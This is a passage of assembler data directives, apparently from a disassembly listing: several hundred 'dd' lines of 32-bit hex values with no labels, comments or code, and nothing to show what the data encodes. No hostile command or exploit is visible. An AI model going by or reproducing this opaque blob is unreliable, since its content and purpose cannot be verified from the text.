		dd 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h, 0E4390855h
		dd 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h, 618A6543h
		dd 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h,	1CD6EAC4h
		dd 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h, 4CC1E924h
		dd 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h,	80CA8B2Eh
		dd 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h,	72102C00h
		dd 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h, 83D02BB9h
		dd 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h, 308DEDE5h
		dd 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h, 0A0881FC0h
		dd 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh, 0FF54BB17h
		dd 4722B87h, 46F302D8h,	0F880EE89h, 3E0313A4h, 1D004D93h
		dd 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h, 3F052AC8h
		dd 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h, 80F6D48Fh
		dd 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h, 2B9600AAh
		dd 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh,	0C4097202h
		dd 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h, 66ED10h
		dd 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh
		dd 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h,	0D2E20300h
		dd 7F242305h, 29700A1h,	0E0F9FDF2h, 0EE007EC9h,	0BF82D8ADh
		dd 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h, 0B8AA5584h
		dd 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h, 5580DF44h
		dd 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h, 1800E024h
		dd 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h, 0D20B9349h
		dd 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh,	11008279h
		dd 41C9945h, 3F1ADA0Dh,	130ED1F5h, 6C60B3C7h, 45AB85D8h
		dd 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h, 88D6CB55h
		dd 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h, 5300F71Eh
		dd 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh
		dd 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h,	6500929Fh
		dd 0D43DAF3Fh, 496659h,	0A9A44526h, 47441653h, 0A69DAE18h
		dd 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h, 0D9E23AE1h
		dd 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh,	0AA39C4C0h
		dd 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h, 0E43AE881h
		dd 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh, 0DED4BA04h
		dd 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh,	7CA88E8Bh
		dd 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh, 8F433614h
		dd 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h, 428D0050h
		dd 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh,	0CCED8Ch
		dd 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h, 0F5DF03AAh
		dd 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h, 2FBF0142h
		dd 53A22A00h, 33001034h, 6547E788h, 3D180C04h, 0AB805249h
		dd 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h, 2162005Ah
		dd 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h, 0BF77E9h
		dd 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h,	43501C6Ch
		dd 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h, 0D43808FDh
		dd 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h, 0C054DF08h
		dd 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah, 300D1FD0h
		dd 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h, 0A10378BAh
		dd 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah, 541E4406h
		dd 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h,	5B4C53E8h
		dd 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h, 0B8877B34h
		dd 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h, 323CC8D1h
		dd 6F000AD8h, 243D05h, 7728C342h, 6119CA17h, 4015BA00h
		dd 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h, 0B8004929h
		dd 0C61744BBh, 4A407Ah,	3BD2AF24h, 33F2B911h, 0BCB37B16h
		dd 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h, 0DC00EE0Bh
		dd 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h, 0DEA7021Eh
		dd 9521E42h, 6821C013h,	1E50084h, 0C419FED5h, 0BA0005C8h
		dd 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h, 30F1600Eh
		dd 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch,	0B0CF6D38h
		dd 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h,	3CF87708h
		dd 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h, 1CBE6096h
		dd 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh,	3FFFE400h
		dd 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh
		dd 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h, 40DEDDB3h
		dd 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h,	0CF031896h
		dd 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh, 8D26559Bh
		dd 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h, 5002818h
		dd 47CA0CC1h, 4FC8D53h,	0C6297BDFh, 0F09587DCh,	0A94FFD0Fh
		dd 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh, 0ECB064A4h
		dd 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h, 0E5E8B780h
		dd 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah
		dd 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h
		dd 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h,	544CF20h
		dd 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h, 0B0000A60h
		dd 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah,	4AA64126h
		dd 3ED0003Fh, 2440D848h, 0C2790950h, 38805F86h,	8E0E7412h
		dd 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh
		dd 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh
		dd 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h,	54D30F20h
		dd 5C401460h, 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h
		dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
		dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
		dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
		dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
		dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h,	0F62FCA5h
		dd 0EA7B8401h, 2F2985FAh
		dd 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h,	1739997Ah
		dd 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh,	0A41002EBh
		dd 6143536h, 222AD880h,	480FC8EDh, 0A0026433h, 0BD105CCBh
		dd 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh,	5500A98Fh
		dd 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh, 0BCC45424h
		dd 791B200h, 4A0250h, 18066C74h, 3FEB2880h, 1D8D3700h
		dd 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h, 362C13E9h
		dd 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h, 0D4370734h
		dd 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h, 0B91200A1h
		dd 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h
		dd 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh, 0ECA11A74h
		dd 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h,	5854C35Eh
		dd 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h, 83F07072h
		dd 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h, 1BCD0854h
		dd 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h, 0E0C3C72h
		dd 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h,	8304A8D8h
		dd 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh, 6288E8h
		dd 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh, 20CD02EBh
		dd 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch, 0EC3EAh
		dd 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h,	81C32C69h
		dd 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch,	3DDCD0BAh
		dd 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h, 0DF2D62D0h
		dd 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h,	0E23B358Dh
		dd 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h, 0C67835Ah
		dd 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h, 0D9250F4Ch
		dd 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h, 0A650545h
		dd 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h, 30058B64h
		dd 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h,	96E88031h
		dd 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh, 0FE6A8B29h
		dd 2713ABDh, 8624FF00h,	27C067C7h, 33CB0E68h, 88091DBh
		dd 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh, 51759BB4h
		dd 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh, 600F713h
		dd 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah
		dd 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh, 503AC297h
		dd 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh, 80FAB89Fh
		dd 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h, 0F5162575h
		dd 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h,	8A850B0Ch
		dd 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh,	0E2AEC583h
		dd 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h, 8A60083h
		dd 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h,	2B3960E4h
		dd 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h, 784C2DC0h
		dd 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h,	0EFEB0B92h
		dd 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h, 0E10EF0A5h
		dd 683C7700h, 2E855274h, 7FD70059h, 756E8441h, 8006604h
		dd 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh, 2C874C76h
		dd 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh, 18BC16AEh
		dd 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah, 0B1383EFFh
		dd 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h,	1A0B00A0h
		dd 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h, 89F4F287h
		dd 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h, 143EA259h
		dd 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h,	166856h
		dd 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h, 32836068h
		dd 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah,	13D7614h
		dd 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h, 6F05065h
		dd 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch, 1B808980h
		dd 472052D4h, 123B9028h, 9734CFAh, 0A94CFh, 53BE23F0h
		dd 85E0058h, 862A840Ch,	0F107B878h, 0A33C201Dh,	3410801Fh
		dd 5CD6490h, 364911A1h,	24810FA8h, 5B382C00h, 5F0265D4h
		dd 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h, 789CF800h
		dd 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh, 9075DBD5h
		dd 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h, 0D7A70397h
		dd 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h,	562E003Eh
		dd 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh, 0A1AAC9Fh
		dd 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh, 0B8323D60h
		dd 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh, 6103D0CBh
		dd 1CA70090h, 49E4491h,	34F66A71h, 0C028BB75h, 0C6FCE7A1h
		dd 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah, 3E833807h
		dd 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h,	1C3AFB7Ah
		dd 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h, 7E2BE87Ch
		dd 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h, 2901164h
		dd 2135E6Ch, 894193ADh,	0CF9BF0FDh, 0CB281D04h,	32805D55h
		dd 0BC035Ah, 5E6D9FD4h,	83D7E1D3h, 28AFEA00h, 0B73B677Ch
		dd 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h, 31A500F3h
		dd 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h,	0F23A2C29h
		dd 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h, 52FB25D2h
		dd 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h, 9E5D738Bh
		dd 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h, 35B8315h
		dd 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h,	7DB889h
		dd 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh, 477F3D4Bh
		dd 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h, 3EB84323h
		dd 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h, 0C8DFC900h
		dd 680A11h, 0AC3EBDF0h,	0D6991401h, 1749FA00h, 0F3458AC0h
		dd 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h, 1F60139h
		dd 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh,	8056510Bh
		dd 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h,	78803974h
		dd 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh,	4402701Fh
		dd 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h, 0FAED75F5h
		dd 615097E0h, 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h
		dd 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h
		dd 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h
		dd 2F000BD4h, 41EDCE80h, 152420h, 74664C94h, 1FFD389h
		dd 840F3A00h, 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h
		dd 0A30D1C64h, 9105CA5h, 0F34E8218h, 7DBA5080h,	2409D965h
		dd 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh,	0E9A878F5h
		dd 6952A4F0h, 85C79900h, 77E80810h, 0F2C403AEh,	0F42133DEh
		dd 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh
		dd 16C0D08Fh, 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h
		dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
		dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h,	0B73A2274h
		dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh,	82EFD7B1h
		dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh,	3EBF7DD8h
		dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
		dd 0DF7C514Ch, 0B0465A07h
		dd 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h,	0B80011EFh
		dd 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h, 0EA096A55h
		dd 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h, 281536C4h
		dd 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh, 5539D9h
		dd 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h, 888CBh
		dd 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h, 4495ECh
		dd 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h, 3EAEE3h
		dd 44B4228h, 0AFAF9DFh,	8F6A3F00h, 8A587B9Fh, 54150027h
		dd 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh, 24871785h
		dd 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah, 85F310D2h
		dd 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h, 1FB9BF0h
		dd 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h, 0D0F84768h
		dd 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h,	0B94CB70h
		dd 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h,	846C1614h
		dd 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h, 0FC773E00h
		dd 10428EB2h, 0E9894A00h, 931675F2h, 157A25h, 6950C7B1h
		dd 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h,	0D2F63200h
		dd 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh, 0B94B851Ah
		dd 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h,	4AA574F1h
		dd 310229BEh, 8D2A0746h, 45244054h, 37120143h, 3570A985h
		dd 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h, 834023A0h
		dd 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h, 0C6644367h
		dd 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h, 0CAA11A9Ch
		dd 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h, 45ED3D3Bh
		dd 59348200h, 5B782406h, 744A6000h, 63C27A12h, 10771Fh
		dd 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh, 807100E0h
		dd 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh,	0CEFAC922h
		dd 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh, 0D0944BC7h
		dd 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h, 56E2B800h
		dd 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h, 0F26F935h
		dd 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch,	72A0DC24h
		dd 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah, 0C076FA2Dh
		dd 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h, 921C298Dh
		dd 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h, 33705700h
		dd 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h, 34A1A400h
		dd 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h,	0D0396147h
		dd 675B0Ah, 689FC274h, 282D35D2h, 88595D16h, 389E991Ch
		dd 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h, 6800C020h
		dd 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh, 0C7521400h
		dd 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh, 9864B600h
		dd 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h, 0DF0093F7h
		dd 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h, 58001A10h
		dd 32C78E66h, 0B92B16h,	68444260h, 73CA11ACh, 3326040Fh
		dd 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah, 688BD100h
		dd 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh,	0A5C70334h
		dd 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h, 0C0F7B24h
		dd 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h,	3DAB0813h
		dd 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh,	0DC3FEA46h
		dd 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h, 0E800C1C2h
		dd 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h, 99FCBD07h
		dd 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh, 4B07C837h
		dd 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h, 0C38D033h
		dd 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h, 51B8E010h
		dd 9E3E18C0h, 21C026Dh,	0E06FE80Bh, 4E1660h, 0BA673021h
		dd 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh, 22A05CA1h
		dd 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah, 0BE848D4Fh
		dd 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h, 0A021C80Dh
		dd 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h, 972D00E1h
		dd 70895130h, 94900853h, 5C81B800h, 0EA18212Bh,	4352008Eh
		dd 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h, 927C86DDh
		dd 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h, 79ECA419h
		dd 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h, 3ACF28h
		dd 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h,	99E8C83Bh
		dd 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h, 0B6902501h
		dd 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h, 410578A4h
		dd 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h,	85E2E576h
		dd 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h, 580078C0h
		dd 5E306840h, 1500E87h,	21B3EDEBh, 0F1B28C91h, 0CCD721CBh
		dd 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh, 677AFACDh
		dd 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah, 18452059h
		dd 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h, 3D1FB80Fh
		dd 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h, 6467D462h
		dd 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h,	6167DD1h
		dd 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h, 51B7C4h
		dd 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h,	2CE3124Eh
		dd 0E1C399h, 2FE81504h,	3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh
		dd 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch, 2F20D20Bh
		dd 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh, 4FCB7A40h
		dd 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h, 0C926486Ch
		dd 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h, 0B4D7504Ch
		dd 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h, 2AA450h
		dd 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh,	0FA3D003Bh
		dd 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h,	9550247Ah
		dd 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h
		dd 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h, 0A0BD98h
		dd 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h,	2E47AE3h
		dd 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh, 900480B6h
		dd 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh
		dd 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h,	25228A6Bh
		dd 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h, 0A581CE09h
		dd 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh,	3800E87Fh
		dd 0C7014EBDh, 3F7794h,	0AC9E6C7Bh, 97E548AEh, 68335500h
		dd 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h,	766C0012h
		dd 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h
		dd 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh,	0F3010069h
		dd 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh,	451586h
		dd 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh,	7800CA2Ch
		dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h,	0B9E5A207h
		dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h,	4C025A8Ch
		dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h,	4A0F7D44h
		dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h
		dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h
		dd 12E0ABBDh, 930C74Ch
		dd 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh,	52ACF19Fh
		dd 50F9D4h, 0A9837D55h,	0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah
		dd 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h, 0A012DA55h
		dd 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h, 1CF83101h
		dd 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h, 0AD5CE0h
		dd 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h, 1657824h
		dd 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h, 20A889h
		dd 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh, 11801CA3h
		dd 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah, 34220064h
		dd 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah,	0F513E5h
		dd 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch,	0D641F8h
		dd 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h,	7E297Ch
		dd 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h, 1F928E08h
		dd 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h, 64C10508h
		dd 7256E4h, 0BE13D44Fh,	331C9D54h, 6B007F71h, 0F7E623D3h
		dd 92EB8F0h, 52843CBAh,	10213C87h, 958F90B9h, 91921D0Bh
		dd 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h,	523C76B9h
		dd 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h,	40143B0h
		dd 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h, 750F00FBh
		dd 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h, 13A2A39Eh
		dd 0B1DC96h, 98957FD2h,	0C80238D4h, 30B4D26Ch, 4201E022h
		dd 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h, 1F49D85h
		dd 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh, 3D6F44h
		dd 0A0B33F4Ah, 6540CE5Bh, 80B9101h, 0E5ADF0D2h,	0F034B7FCh
		dd 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh,	0F529B23Ch
		dd 39CD042h, 0CA6846BFh, 89F8210Dh, 0F1039659h,	0B1C2B0D4h
		dd 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h, 0EC99DD00h
